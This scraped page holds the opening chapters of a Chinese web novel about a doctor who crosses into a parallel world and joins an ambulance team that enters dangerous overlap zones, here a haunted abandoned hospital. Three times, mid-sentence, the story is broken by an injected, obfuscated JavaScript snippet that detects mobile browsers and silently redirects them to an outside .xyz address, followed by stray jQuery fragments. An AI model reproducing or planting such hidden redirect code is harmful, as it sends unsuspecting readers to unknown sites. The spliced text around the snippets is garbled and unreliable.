《这个世界欠修理,你也是》 1. 外地人 “你想好了?”沙发对面的女人面带微笑,镜片后面的眼眸流露出一丝得意。 “我想好了。”程昭脸色苍白萎靡,语调有气无力。 是饿的。 不怪她虚,人饿三天都这样。 新鲜热乎、还带着油墨气味的新劳动合同安静地躺在她面前,像在无声地嘲笑她。 程昭叹了口气,在空白处签上自己的名字。 在她签名前面是医院的公章,小字围成一圈,按顺序读起来是——救人一命胜造七级浮屠医院。 “我们医院福利很好的,官方背景,享公务员待遇,工作轻松,氛围愉快,还附赠高额人身意外险……” 还官方背景呢?会叫这种名字的,能是什么正经医院?连莆田系都不兴这么取名字! 程昭在心里疯狂吐槽,看着人事科科长一边嘴里絮絮叨叨,一边把签完字的合同放进蓝色的文件夹里。 那个文件夹里本来就有一份旧的劳动合同,被风吹开的一角能看到手写的“程昭”两个字,跟她的字迹不一样,比她那个放荡不羁的江湖体要工整得多。 原主的字长这样啊,还挺好看的。 是的,程昭是穿越来的,就在三天前,过程平平无奇。 早上刚到急诊那会儿还很正常,接诊病人时就隐约感觉不对劲了,大家的病都奇奇怪怪的,有一个病人还莫名跟她吵起来了,说要去投诉她什么的。 然后就被通知去人事科了。 医疗纠纷不是医务科而是人事科还挺奇怪的,她一路上都很忐忑。 她从神经外科转到急诊科一年多了,这一年里风评不太好,同事们对她颇有微词。 爱摸鱼,爱推病人,上班混日子,这难道是什么大错? 总不能这样就要把她开除了吧? 她万万没想到的是,比开除更可怕的是,人事科科长薛梅和蔼可亲地告诉她,她穿越了。 虽然程昭是第一次穿越,但她好歹也是看过些小说的,这种自己没发现穿越了,由别人来告知的情节,她是真没见过。 不过薛梅一副再平常不过的样子,例行公事般给她介绍:“首先,平行世界是真实存在的。这世上存在着许多个平行世界,我们把单个平行世界叫做‘泡世界’。就像肥皂泡会跟别的泡泡贴在一起一样,当两个泡世界相交时,就有可能出现物体的时空重叠。时空重叠时会有概率发生你这种情况,他泡世界的你,把本泡世界的你,给替换了。” 程昭那会儿问了个蠢问题:“那我怎么回去啊?” 这问题把薛梅逗得咯咯直乐:“回去?你都离开重叠域了还怎么回去?时空交汇是随机的,空间科学家测算到的泡世界总数在10的12次方以上,要找到你原本的那个泡世界,简直是天方夜谭。” 程昭傻眼:“那我怎么办?” “继续上班呗,来,签合同吧。”一只水笔被塞到了她手里。 “等、等会儿,让我想想,”程昭没顺着薛梅的意思做,她脑海里闪过刚才那个背上溃疡里挤满密密麻麻小眼球的病人,“你们这个……泡世界的病人都那么奇怪吗?” “哦,只有我们医院是这样,因为我们医院要负责时空重叠造成异常的病人,其他医院都是正常看病的。” “那我能不能去普通的医院啊,你看啊,你们这些什么时空重叠乱七八糟的,我也不会啊……” “没问题的,你有医学基础,完成泡世界不良事件处理培训以后就能上岗了。” “什么是泡世界不良事件……” “哎呀,这些你都不用管,到时候就知道啦,很简单的,有手就行。” “我不行……” “你行……” “我真不行……” “你肯定行……” 拉扯了几个回合后,程昭终于品出点不对味来,“你是不是非要我签这个啊?” “这个嘛,其实是因为……你上个月向医院借了三百万,这钱得还啊,那借条还在财务科呢!” 程昭立马跳了起来:“什么我借的,我才来第一天啊!” “哎呀,就是上一个程昭嘛……” 程昭炸毛:“她借的钱关我什么事?!” “不管,根据《债义法》,你自动继承这笔债务了。” “什么狗屁法啊,钱又不在我手上!” “《我债我偿天经地义法》规定了,外地人自动继承本地人的债务,这也是为了维护社会秩序稳定……” “什么外地人本地人,你在坑我吧!”程昭激动地站了起来。 薛梅不复刚才亲切和蔼的样子,一副公事公办的语气:“要么签合同继续工作,要么把钱还了,不然——” 程昭大喘着气,有些站不稳,不知道她会拿出什么手段来对付自己。 “——你休想把暂住证办下来!” 程昭沉默了,甚至还有点想笑。 “怎么,你觉得无关痛痒?” 薛梅冷笑,“泡世界的原公民才有身份证,俗称本地人,你这种他泡世界来的人,被称为外地人,没有身份证,只能在工作单位的担保下办理暂住证,不然就是黑户。在我们这里,黑户是没有正经工作可以做的。 也不要妄想拿原来的程昭身份去找工作,从发现你是外地人那一刻,我就已经上报数据联网了。” 这可太扯了,她才不信,当着薛梅的面,撕了劳动合同跑了。 然后就是整整三天没饭吃,活生生被逼回来了。 薛梅没有骗她,黑户真就毫无人权。 她试着去找工作,所有医院无一例外地拒绝了她,不管她的简历有多么优秀,只是输入她的名字查询了一下,就变了一副面孔。 向来装死的房东突然诈尸,凶狠地告诫她,要是再不把暂住证办下来,就会赶她出去。 这个世界的法律规定了,房东有权驱逐黑户,甚至都不用退押金。 连想去大商场蹭点试吃,都因为不能出示身份证或暂住证而被拦在门外。 为什么不在路边买东西吃呢? 因为原主这个上个月刚借了三百万的人,她居然,一分钱都没有! 租的房子倒是她原来那间,可房子里的东西少得可怜,冰箱里拢共一根黄瓜,被她一到家就当零嘴啃了。 然后才在翻箱倒柜中,发现两个可怕的事实: 第一、家里没有别的食物了;第二、家里没有任何现金。 至于银行卡——刚走出医院,她就收到了一连串的短信,是身份变更通知和银行卡信息更改通知。 继承原主债务的同时,她也继承了原主的财产。 3张银行卡,余额加起来0.62元。 她都不敢相信自己的眼睛,狠狠揉了好几遍,才确定自己没有眼花,没有看错小数点和0的位置。 超级穷者,恐怖如斯! 她名下也没有任何房产,这间三十多平的出租屋里也没发现任何能称之为奢侈品的东西。 坏消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628342|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息:她欠了一大笔钱。 更坏的消息:她不知道这笔钱去哪儿了。 最坏的消息:钱没得这么彻底,很可能是去赌了。 她小学毕业以后,就没听过比这更恐怖的鬼故事了。 程昭是很想再熬一熬,想想办法的,但是空空如也的肠胃不允许,要不是家里还能烧点水喝,她怕是连三天也熬不过。 “呦,到饭点了,我订了饭,一起吃吧。” 薛梅笑眯眯地把一个盒饭递给了她,刚好多了一份,看来是早就料到她会在今天过来。 程昭不语,只一味埋头干饭。 她现在能吃下一头牛,生吃都行。 薛梅坐在她对面,慢条斯理地夹菜。 “程医生,你考虑去120吗?” 程昭警惕地抬头:“怎么,我不能继续待在急诊吗?” “本来急诊医生就要轮120的嘛,下个月正好轮到你……” 程昭刚猛塞了两大口饭在嘴里,含糊不清道:“你四不四……要康我……” “怎么会坑你呢,120有补贴,赚得比急诊多多啦……别这么看我,行吧,我说实话,120最近比较缺人手,你不也是急着还清债务嘛……” 程昭抻长了脖子把饭菜咽下去:“谢谢,我不急。” 欠三百块她可能会急着还,但这是三百万啊,反正一辈子也还不清,还不如摆烂呢。 “这样吧,”薛梅正了正神色,仿佛是做了个很重大的决定,“你在120干满一年,欠医院的三百万就当一笔勾销了。” “啪——” 程昭的饭盒失手打翻在地上,她瞠目结舌道:“你们医院120一年值三百万啊?!” 还没等薛梅开口,程昭就露出一副热切的表情,“那我能不能在120多干几年啊?” 薛梅放下心来,语气温柔道:“当然可以啦,你想在120干多久都行。” 还有后半句她放在心里没说——只要你能活下来。 程昭不知道薛梅的心声,她只心疼自己没吃完的饭。 薛梅甚至没有给她休息的时间,把盒饭垃圾收拾完,就领她出了办公室。 “诶,这就去培训了?” “今天先带你熟悉一下120的大概流程,明天开始培训。” “哦。”程昭跟着她坐行政楼的电梯到最地面层,穿过一条走廊,来到了医院后门旁的一幢三层小楼。 “120值班室和办公室都在这里,一楼有个24小时营业的小食堂,半夜出车回来的话可以去吃。等我把员工信息录入之后,你刷脸就能吃,值班期间吃饭都不要钱……额,你口水擦一下。” 这可不怪程昭,刚才饭都没吃完就被打翻了,现在还饿着呢。光是站在一楼外面,都能隐隐约约闻到食堂窗口传来的饭菜香味,馋得她斯哈斯哈的。 要不是今天不值班,只是来走一圈,高低得大吃一顿。 进了小楼里面,她跟着薛梅刚走上两级台阶,就听到“呜啊呜啊”的铃声,紧接着就是一阵急促的脚步声。 有两三个人从楼上飞速冲下来。 薛梅和程昭都识趣地贴着楼梯墙面,侧身避让。 等那伙穿着荧光绿急救制服的人从她们面前匆匆跑过,薛梅转头,“二楼就是值班室,我们……” 见鬼了,程昭人呢?怎么眨眼间就不见了? 程昭也觉得见鬼了,她明明在很有礼貌地避让啊,咋突然就被人给薅走了呢?! 2. **箱 程昭压根没反应过来发生了什么,就出现在了救护车里。 前排司机一脚油门猛冲出去,程昭坐在急救车的病床上,没系安全带,一头往后栽去。 好在她脑袋要撞上后车门的前一刻,被人一把拽了回来。 程昭捂着胸口,惊魂未定:“什么情况?你谁啊?” 戴着金边眼镜的急救医生慢条斯理地掏出一面小镜子,对着镜面整理自己蓬松的短发,“我叫蒋裕,你不是来跟车的实习生吗?第一次出车别紧张,哥会教你的……” 程昭额角挂下三道黑线:“我不是。” 他放下镜子,转向程昭,看清她脸的那一瞬间吓得在座位上弹了一下:“程程程程昭?!你怎么在我车上?” 程昭整张脸都黑了:“大哥,能不能不要演了,我刚站得好好的,是你给我薅上来的啊!” “不是,我听站长说120要多个新人呢……搞错了搞错了……”蒋裕双手合十,连连作揖。 “额,那好像,可能,或许真的是我……”程昭擦了擦脑门的汗。 “啊?” 不仅是他面露讶异,连前排的司机都转过来看她。 “开玩笑吧,你都去急诊了怎么还回120啊?” 程昭敏锐地从他话里发现了些端倪:“怎么,120不好吗?” “额……”他突然支吾起来,“也还好啦……就是要出外勤,不过奖金是比急诊要高啦……” 听到这话,程昭倒是放下心来,只要待遇好就行。 “不过你怎么会问这个……”蒋裕皱着眉头喃喃自语,盯着她的脸思索几秒后倏地瞪大眼睛,“靠啊,你外地人?!” 这话怎么听着跟骂人似的。 程昭不爽地点了点头。 “淦!”他右手捶膝,骂了一句,“我就知道会有这么一天,老子这个月干完就要转急诊去,说什么也不待了!” “……所以120是个大坑?” 该死的,她就知道薛梅没安好心! “你知道我们120是干嘛的吗?” 程昭眼神清澈地摇了摇头,肯定跟她原本世界的120有点区别,不然他也不会如此激动了。 他叹了口气:“我们的工作地点在重叠域,要进去把本地人带出来。重叠域是两个泡世界相交的地方,严格意义上讲,我们要去的地方依然在本泡世界范围内,不过因为叠着另一个泡世界面,会发生一些……奇怪的事。” “奇怪的事?” “特殊的行为方式,或者你没见过的东西,都是另一个泡世界在重叠域的投影。说是投影,其实也能对我们造成影响,所以还是有点危险的……哦,对了,还有人!” “人?” “有的重叠域里会有很多人,但真正的本地人很少,大多数都不是真人,也是投影,这个很难分辨,如果信错了人,可能会把你害死。” 程昭倒吸一口冷气,“这么邪乎,那我不要去了!司机师傅,开下门,我自己打车回去好了。” “走不了咧,都快到啦。”司机对着后视镜冲她憨厚一笑。 程昭透过前面的车窗看,这才发现不知何时起救护车没有开在马路上了,而是在一个灰色混沌的漩涡里前进,漩涡中央隐约有一点光亮。 “你也别太担心,这次任务级别不高,是个四级事件,就当是出来玩呗。” “你别蒙我啊……”程昭看出来了,她这是上了贼船了,只能生无可恋地瘫在病床上。 “喏。” 一个半透明的环状物体递了过来。 程昭不明所以地接过,在蒋裕的示意下戴上了左手腕。 “车里备用的工作手环,你先用着。” 程昭翻转手腕,半透明的背景上亮起了一个湛蓝色的方形图标,四角圆润,中间是镂空的单蛇杖花纹。 下方一行白字—— “点击开始救死扶伤” 上一秒还陷在悲伤里的程昭笑出了声:“谁起的名啊,这也太中二了!” “先泡科技,多亏他们研制的这个可穿戴式移动工作站,不受时空限制。这玩意儿没出来的时候,进了域全靠抓瞎呢。来吧,你先登录,我教你怎么用。” 程昭食指轻触那个蓝色图标,蓝色如水波般散开,又从周围聚拢,汇合成一个眼睛的形状。 这个简笔画的蓝色线条眼睛冲她眨了眨眼。 蒋裕把她手臂抬起来,跟视线持平,“虹膜识别的。” 话音未落,系统就已经完成了识别,手环屏幕上的蓝色线条再次变化,分散成了三个小圈,成三角排列,顶端那个小圈还是蓝色,底边的两个小圈分别变成了红色和黄色。 “先点红的,确认下个人信息。” 程昭点进去,屏幕上浮现出几行字: 【姓名】程昭 【工号】空(临时访问账号) 【业务量】0 【积分】0 蒋裕悄咪咪凑上来看,大失所望地摇摇头,“可惜啊,你没有继承原来程昭的账号,她那儿起码有几十万的积分呢……” 程昭好奇道:“积分能干嘛呢?” “晋升,评职称,年底评优……最重要的是跟奖金挂钩呢。” “哇,那程昭,岂不是奖金很高?” “当然啦!” 所以到底为什么会一穷二白还负债啊!真的去赌博了是吗?!程昭觉得这个最糟糕的负债原因越来越有可能了。 “进工作界面吧,就最顶上蓝的那个。” 工作界面也有几行字。 【待接收任务】:1 【进行中任务】:0 【已完成任务】:0 待接收任务那里还有一个醒目的红点,作为不点不舒服星人的程昭,不用蒋裕提醒,就直接点了上去。 【任务已接收】 【任务编号】20250623001 【地点】私立欣格医院 【患者人数】0/2 【倒计时】09:55:48 任务信息里别的倒还能理解,只是—— “怎么还有个倒计时?” “这个是根据时空能量扰动测算出来的重叠域稳定态时间,换句话说,超过这个时间,两个泡世界就要分离了,分离时的能量熵很大,运气不好的话会被吸过去。” “吸哪儿去?” “另一个泡世界呗,你算运气好的,我们这里对待外来人员很友好,只要不作恶,跟本地人待遇是一样的。但不是每个泡世界都这么友善的,要是掉到对外来人有恶意的泡世界,那你会死得很惨的。” “如果超过这个时间,没找到患者,会怎么样?” “患者要么被吸走,要么就会留下后遗症,急诊都是看这种病的。有些重叠域的存在时间很短,可能只是擦身而过,就足以在人体上留下影响了。这也是急救人员在120不能多待的原因,前辈都说在重叠域待多了影响自身磁场,容易被别的泡世界吸走,我估计程昭就是这么没的……” 程昭翻了个白眼,什么叫没了,会不会说话啊! 她见手环界面还剩一个黄色小圈,问道:“剩下这个是什么?” 她点了一下黄色小圈,没有跳出新的界面,反而圆圈变成了灰色。 “这是绑定急救箱的。”蒋裕解释道,“你没登上原来程昭的账号,就没有箱子。等我们从重叠域里回来,你可以去后勤领个新的。” “……那这玩意儿对我来说,也就是看个时间?” “没错,这个时间很重要……” “等一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628343|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”司机突然出声打断,“我怎么好像记得车里是有个备用箱子的。” 蒋裕一拍脑袋,“还真是,我怎么给忘了!” 他俯下身,手伸到移动救护床下面,掏了半天,终于扒拉出来一个蒙着层厚灰的箱子,递给程昭的时候动作大了点,扬起的灰尘让她打了好几个喷嚏,更是把灰尘喷得车里到处都是,看人都雾蒙蒙的,仿佛叠了一层磨砂滤镜。 司机大哥骂道:“个瓜皮!不造擦擦再拿出来啊!搞得啷个车里都是咯……” “咳咳,忘了忘了,”蒋裕拿袖子随便抹了抹,露出箱子深蓝色的底色,荧光绿的袖子没两下就黑灰一片。 程昭有点洁癖,看这样子难受极了:“你衣服——” “没事,”蒋裕满不在乎地笑笑,“进域以后就变了,来,你拿着。” 程昭没接,表情迟疑:“这箱子看着有些年头了,里面的药估计都过期了吧……” 可别要用的时候一打开,发现都是过期两年半的药,到时候她是用还是不用呢? 不用吧,可能人就死了;用吧,可能人死得更快了。 蒋裕摆摆手,把箱子往她怀里一塞,把她的衣服也蹭得脏兮兮的,程昭眉头一皱,撇开了头。 “问题不大,别看有点灰,不影响用的。这是老款了,防尘功能不太好,新款急救箱就改进了,大不了你这趟回来以后再去后勤领个新的。” 他看程昭一副嫌弃的样子,又补了一句:“别看款式老,耐用着呢,改进以后就是花架子,大家都说还是老款好呢!” 司机也来帮腔:“老归老,味道好啊!” 程昭见他俩这热切推销的样子,没好气道:“东西这么好,那我跟你换啊。” 蒋裕立马头摇得跟拨浪鼓似的:“不行不行,我的箱子已经绑定了,没法换。有总比没有强,你把箱子绑定一下,看到这个图标没有,你拿手环碰一下这里。” 来都来了,有点是点。 一般人说到这个份上,你就很难拒绝了。 程昭很勉强地接下了箱子,按他说的步骤照做,手环界面上黄色小圈重新亮起,点进去跳出来弹框。 “识别到**箱,是否绑定?” 怎么还带屏蔽词的啊? 这个疑问在程昭脑海一闪而过,但她没放在心上。 下面两个选项,一个勾,一个叉,程昭果断点了勾。 点完的下一刻,那个箱子就奇迹般地消失了。 还不等她问,蒋裕就解释道:“域里情况未知,直接拎个箱子进去太显眼了,收到手环里方便拿取。” “这算什么?随身空间?” 程昭眼睛一亮,真是高科技啊。 “不一样,你可以理解为,呃,急救箱被数据化了,要用的时候再通过手环程序复原,不是真的有一个空间。而且急救箱里能放的东西也是有规定的,不是什么都能带进域里的。” 程昭似懂非懂地点点头,看来要摸清这些东西怎么用,还得进去以后自己试试看。 蒋裕递给她一套荧光绿的制服,“快换上吧,要进域了,急救制服有保护作用,进去以后会自动拟态成合适的服装,千万不要脱下来!” 程昭再次感叹这个泡世界的科技水平,随着她把衣服换好,一栋气派的医院楼就出现在了救护车前面。 “咦,别的医院出事也打你们120啊,他们自己不能解决吗?” 蒋裕眉头蹙起,脸色凝重:“这是一家废弃的医院,如果我没记错,两年前因为医疗事故被查封后,再没有再开业了。” 程昭一愣:“那怎么……会有人在里面?” 蒋裕抿了抿嘴:“未必是什么正常人,进去以后小心。” 程昭点点头,跟他一起推开了欣格医院沉重的玻璃大门。 3. 手术室请安静(一) 进域的感觉很特别,像是跌入水中,又被捞起。 那一刹那,有短暂的窒息感。 怪不得他们不喜欢出120。 睁眼看到熟悉的白绿调房间时,程昭一阵晕眩心悸。 十二轮环形灯管组成的无影灯照射在头顶,身旁L型展开的不锈钢器械台泛着冰冷的金属光泽,心电监护仪屏幕上跳动着红绿曲线…… 怎么突然就到手术室了?刚不还在大门口吗,这里是有什么传送门吗? 她还在愣神中,突然小腿被人轻踢了一脚。 转头一看,巡回护士正指着托盘上的刀片。 程昭这才意识到现在的处境,她正在一场手术中,而且看这站位和周围的人,恐怕她还是一助。 手术间里算上她总共6个人,一个躺在手术台上的患者,一个站在对面抱胸盯着她的主刀,一个坐在监护前看手机的麻醉师,还有巡回护士和器械护士。 很标准的手术配置,可惜她不是一个标准的一助。 虽然大家在手术室里都是口罩帽子包得严严实实的,不过她能认出,这里没有一双眼睛属于蒋裕。 “哪怕是被其他泡世界的投影发现,都是很危险的哦。” “要假装自己是他们的一员,融入进去。” “一定要谨慎小心,注意观察四周。” …… 进域之前,蒋裕叮嘱了她一大堆注意事项,进域以后才发现,想是一回事,做又是另一回事了。 光是控制握着手术刀柄的左手不要颤抖,对她来说都是一件非常困难的事。 当年那件事发生以后,她只进过手术室一次。那次手术,作为一助的她在器械准备阶段装刀片,右手握着止血钳夹持锋利的手术刀片往刀柄上卡。 第一次,刀片没卡进槽,滑出去掉到地上,她小声道歉,巡回护士安慰她没关系,偶尔失手很正常,给她打了一个新刀片。 第二次,她手握得很紧,夹着刀片怼着卡槽使劲往里按,刀片直接崩成了两半,带刃的那侧擦着她脸颊飞过,把大家都吓了一跳。主刀确认她没受伤以后,松了口气,故作轻松地打趣道:“小程啊,悠着点,集采的耗材可经不起这么大力哟~” 程昭脸色发白,点了点头,没有说话,因为她有预感,一旦开口,恐怕会紧张得连话都说不清楚。 最后一次夹的时候她手抖得厉害,连止血钳都拿不稳,摔在了地上。金属器械砸在地上的声音很清脆,整个手术室里的人都转过来盯着她,外科口罩遮住下半张脸,每个人脸上都只露出眼睛。一双双无声的眼睛将她包围,比起责备,眼神里更多的是怜悯。主刀没有训斥她,只是叫她回科室去,把师兄叫下来跟台。 他那时的语气淡漠,就像在宣告癌症晚期的患者已无药可救。 自那以后,她就再没上过手术台了。 而这一次,比上次的压力更大。 口罩下的她深呼吸好几次,才用止血钳夹起刀片,对上刀柄的卡槽。 第一次滑开的时候,程昭心头重重一跳。 第二次又错开时,她心虚地瞟了一眼主刀,对方眼里隐隐有怒气在积累。 到第三次情景重演时,她已经佛系了,爱咋滴咋滴吧,她就是对手术台有阴影,就是没法做手术,这不是换个环境就能好的。 不然她一个神经外科医生,也不至于去干急诊。 她抬起头,只见主刀眉头紧锁,他早就不耐烦了,走过来打算自己装刀片。 程昭赶紧给他让开位置,一般来说这种情况下主刀总要骂两句的,不过他倒是什么都没说,让程昭暗自庆幸逃过一劫。 她总算有空好好观察一下周围,手术室里的布置跟她原本医院差不太多,就是墙上的电子钟好像坏了一半,只有后半段的分钟显示,没有前半段。 咦,这个电子钟的数字,怎么不按顺序啊。 刚才还是13,现在怎么还跳回11了,不对,在刀片卡进去的一刻,甚至跳到了20。 程昭突然灵光一闪,这不是什么坏了一半的电子钟,这是一个分贝仪! 什么奇怪的医院啊,居然在手术室安装分贝仪,难道是什么莫名其妙的环保要求,还是应付6S检查? 想不明白,她也识趣地不去问,眼神在手术间里飘忽。 程昭眼睛余光突然瞄到,手术台上被大单盖住的病人身体,好像动了一下? 她不确定自己是不是眼花了,又盯着那处大单看了几秒,布料确实有抖动,病人的手几乎要从大单下伸出来了。 糟糕,麻药量不够啊,程昭正转过身要提醒麻醉师。 “哐当——” 一声巨响突然在手术间炸开,器械台被打翻,闪着寒光的器械洒了一地。 病人从手术台上猛地坐了起来。 “我不要做——唔唔!” 她话还没说完,就被巡回护士死死捂住了嘴,用力之大,病人的脸上都被手指掐得发红。 程昭愣住了,这都行?不怕转头吃个大投诉啊? 紧接着她就发现,除了她和病人以外,其余人的注意力都在分贝仪上。 刚才器械台打翻时她瞥了一眼,似乎是跳到了80多,现在正在30左右跳动。 因为那个患者还在很不安分地挣扎着,一直发出呜呜声。 程昭有种很不安的感觉,虽然除了器械掉了一地,也没发生什么事,可是很明显,这里原本的医护们,都精神紧绷着。 似乎是有什么大事要发生了。 在她看不到的手术间墙角,一团红色的丝线状物顺着墙角攀爬,像有生命般逐渐拉长,并在沿途生出许多细小的分支。 随着红线继续往前越拉越长,后面的红线变得很细,如蛛丝般藕断丝连,但它前进的势头丝毫未减,顺着仪器架子的金属腿向上生长,绕过监护仪,来到了麻醉师的背后。 麻醉师此刻跟其他人一样,都在紧张地盯着分贝仪,全然没有意识到背后已经张开了一张血红色的大网。 “啊!”分贝仪突然跳到68,大家闻声转头看去,见到了骇人的一幕。 麻醉师的脸上被密密麻麻的红色丝线缠绕,仿佛是人体上接了一个线团娃娃的头,有种说不出的诡异。 程昭离他最近,所以看得最清楚,那些“红线”甚至还在蠕动,像是汲取到了养分,在逐渐变粗,有从“丝线”向“毛线”发展的趋势。 而那个麻醉师的身体正在以肉眼可见的速度干瘪下去,脖子上青筋暴起,手臂都凹陷了下去,形如枯槁。 她汗毛倒立,拔腿就往手术间外跑。 妈呀,早知道重叠域这么可怕,她说什么也不来120了! 她这一跑,其他人也反应过来,着急忙慌地往外跑。 主刀医生人高马大,步子迈得最快,三两下就跑到了程昭前面,还不知是有意无意地撞了一把程昭。 程昭跑得急,被这么一冲,肩膀就撞到了墙壁,疼得她呲牙咧嘴的。 捂着肩膀时看到墙角蔓延的红色丝线,她立马弹开了,离墙壁远远的。 一个护士跑的时候拽住了她的衣领,硬生生把她拖得摔倒在地上。 程昭跌坐在地上,震惊地看着护士的背影,这得是结了多大仇啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628344|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见着周围的红线如潮水般向她涌来,程昭绝望地闭上了眼睛。 突然有一双手穿过她的腋下,把她拉到了手术台上,只差一秒,那些红线就能缠上她的脚底。 程昭懵逼地睁开了眼。 对上手术台上患者的一双圆润大眼,刚才被护士捂着,她没看清,此刻定睛一看,居然还是个超漂亮的萌妹子! 她脸上还残留着几道通红的指印,不用说,肯定是拽程昭那个护士干的,手劲是真的大。 程昭看向手术间的地面,那些红线还在沿着手术台往上爬,但明显速度慢了很多,线也变得很细。 有几股从地面延伸到了手术间门外,看来这扇门阻隔不了它,还在继续追那些逃出去的人。 应该也是分流了的关系,她们这里的线倒是越来越不成气候,到最后竟慢慢如退潮般离去了。 程昭跟患者面对面,谁都没有说话。 经过刚才的事情,两人都隐约猜到,这种可怕的东西,或许会被声音吸引而来。 不过程昭倒是想起一个奇怪的点,面前的人长发大眼,像是个刚成年的女生,可是刚才叫嚷的那句分明是个青年男子的声音,甚至还带了点磁性的烟嗓,跟女生实在是对不上号。 难道这就是传说中的女生男声,还是说,在她面前的是个……伪娘? 程昭不动声色地跟她拉开了一些距离。 她倒是急切地靠了过来,拉过程昭的手,在她手心里写下几个字—— “我不做手术” “救我出去” “求求你” 想出去,难道她运气这么好,上来就接到患者了? 程昭心中一振,掩住手腕,以对面人看不到的角度,打开了手环的任务界面。 【任务编号】20250623001 【地点】私立欣格医院 【患者人数】0/2 【倒计时】09:38:30 看到患者人数后的那个0,程昭暗自叹了口气,果然她还是那么倒霉,没找到原本泡世界的患者也就算了,怎么还莫名被个外地人给赖上了。 程昭谨记蒋裕的话,告诉自己这些都不是真人,不用管他们。 但在她蹑手蹑脚地下了手术台,往手术间外面走去时,那个女生就像个跟屁虫一样,亦步亦趋地粘在她身后。 程昭无奈,多一个人跟着,她自己也不好行动。 走廊里躺着两具干尸,看身长像是刚才那两个护士,程昭心情复杂,没想到留在手术间反而捡了条命。 女生在她背后倒吸一口凉气,抓住她的胳膊,手心沁着一层冷汗。 大概是年纪还小吧,不敢做手术,出来了也不知道手术室要怎么出去,又受了那种血腥场面的惊吓,此刻只知道跟着她。 程昭心软了。 反正这种手术室的构造都差不多,她轻车熟路地带着女生走到手术室大门口,指指门旁边的白色按键,示意她按下这个就能出去了。 女生看着大门上的小窗,双目圆瞪,顿在了原地。 程昭没管她,转身就走,她还得去找蒋裕呢。 刚才一路看过来,在做手术的两个手术间里好像都没见他人,只有最前面的1号手术间,门上小窗黑黢黢的,像是被什么东西遮挡住了,什么也看不到,她不确定蒋裕是不是就在那里面。 她刚迈出半步,衣角就被抓住了。 程昭不解地回头。 女生发着抖,指了指手术室大门的窗口。 怎么,家里人堵门外了? 程昭凑过去看,只一眼,她就定住了。 4. 手术室请安静(二) 此时的1号手术间里,护士正在帮主刀李俊擦去额头的汗。 跟别的手术间比起来,这个手术间大得出奇,面积是其他手术间的两倍有余。手术间四面墙壁上铺着黑色的厚实隔音棉,连天花板都没有放过,地面的材质也与外面走廊不同,脚踩在上面软软的,除非用力在地面上蹦,不然连一点脚步声都听不到。 手术区域只占了手术间面积的一半,被竖起的黑色网格屏障包围,在屏障和墙面之间堆满了方块状的隔音包。 这台手术人员也明显比普通的手术要多,算上护士将近有10个人。 在手术台旁边约1米的地方,放着一台巨大的机器,下方是银色的巨大长方体,上方有一个黑色的不透明半圆形罩子,罩子前侧开了一个大约半米长宽的口子,里面黑黑的,看不清构造,有一根肉色的条状物连接着机器内部和手术台上的人。机器外面也有一圈透明的隔音罩围着,看起来非常厚实,前面有一扇类似门的开关,中央开了一个圆形的口子,允许那根肉条通过。 蒋裕站在机器前方,在其他人看不到的视野里,两条腿正在微微发颤。 虽然有隔音罩的保护,但仍能通过打开的口子听到里面传出来的低沉嗡嗡声,好像一台运作中的钻机,其中还时不时夹杂着几声类似婴孩的哭叫。 这声音似有魔力,不仅是蒋裕,机器附近的其他人也表情不适。 唯有李主任面不改色,待声音停止后,立马指挥,“快点拿出来。” 蒋裕愣了几秒没有动,到身旁的人提醒他,他才反应过来,打开隔音罩的门,捧起手上的无菌布,伸进那个黑漆漆的洞口。 里面仿佛散发着寒气,他的手刚伸进去,就立刻打了个寒战。 他还记得刚才往里面放了什么,而现在拿出来的,却不知道会是个什么东西。 进域以后,他出现在手术室走廊,身上的急救制服顺应环境自动适配,拟态成了一套洗手服。 接着他就被人塞了一套耗材,示意他送到1号手术间去。 然后他就被迫留在这里,观看了一台堪比cult电影的手术。 最开始看到手术台上那高耸的肚皮时,他以为这只是一台普通的剖腹产手术,虽然不知道为什么一个剖腹产需要在这么古怪的手术室进行,但想想他泡世界什么都有可能,或许这就是VIP手术间呢。 但看到肚子的皮肤被一层层剥开,子宫打开,那个东西被人徒手挖出来的时候,他差点惊叫出声。 那是一个巨大的畸形儿,光看外表以为只是普通的十月怀胎,但那血乎的一团被拿出来后,可以看到产妇的腹腔已经被压迫的一塌糊涂,连肠子都变得青紫萎缩,令人怀疑这套消化系统是否能正常工作,还是说为了供养这个畸形的胚胎而耗光了营养。 